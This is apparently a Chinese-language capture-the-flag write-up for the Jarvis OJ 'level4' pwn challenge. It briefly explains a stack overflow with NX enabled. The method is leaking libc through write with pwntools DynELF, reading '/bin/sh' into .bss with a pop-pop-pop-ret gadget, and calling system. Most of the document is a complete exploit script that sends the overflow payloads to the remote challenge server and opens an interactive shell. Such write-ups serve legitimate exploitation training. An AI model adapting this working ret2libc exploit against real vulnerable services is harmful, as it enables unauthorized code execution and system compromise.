拿到题目
开启了NX。
放IDA里:
栈溢出。
程序本身没有调用system函数
无法ret2plt。
且题目本身没有给出目标的动态库的版本。题目本身有write函数,可以泄露内存,则可以利用pwntools的DynELF模块,找到system函数。
本身程序段没有/bin/sh的字符串,则需要使用read函数将字符串读入,read函数有三个参数,这就需要pop pop pop ret这个gadget。
使用ROPgadget搜索下:
本身程序段有这个gadget,那就直接拿来用。
使用pattern计算下溢出点写exp:
exp如下:
from pwn import*
a=remote("pwn2.jarvisoj.com","9880")
elf=ELF("level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0")
plt_write=elf.symbols["write"]
vulner_addr=elf.symbols["vulnerable_function"]
def leak(addr):
payload='A'*140 + p32(plt_write) + p32(vulner_addr) + p32(1) + p32(addr) + p32(4)
a.send(payload)
data=a.recv(4)
return data
b=DynELF(leak,elf=ELF("level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0"))
system_addr=b.lookup("system","libc")
plt_read=elf.symbols["read"]
bss_addr=0x0804A024
pppr_addr=0x08048509
payload1='A'*140+p32(plt_read)+p32(pppr_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(system_addr)+p32(1)+p32(bss_addr)
a.sendline(payload1)
a.sendline("/bin/sh")
a.interactive()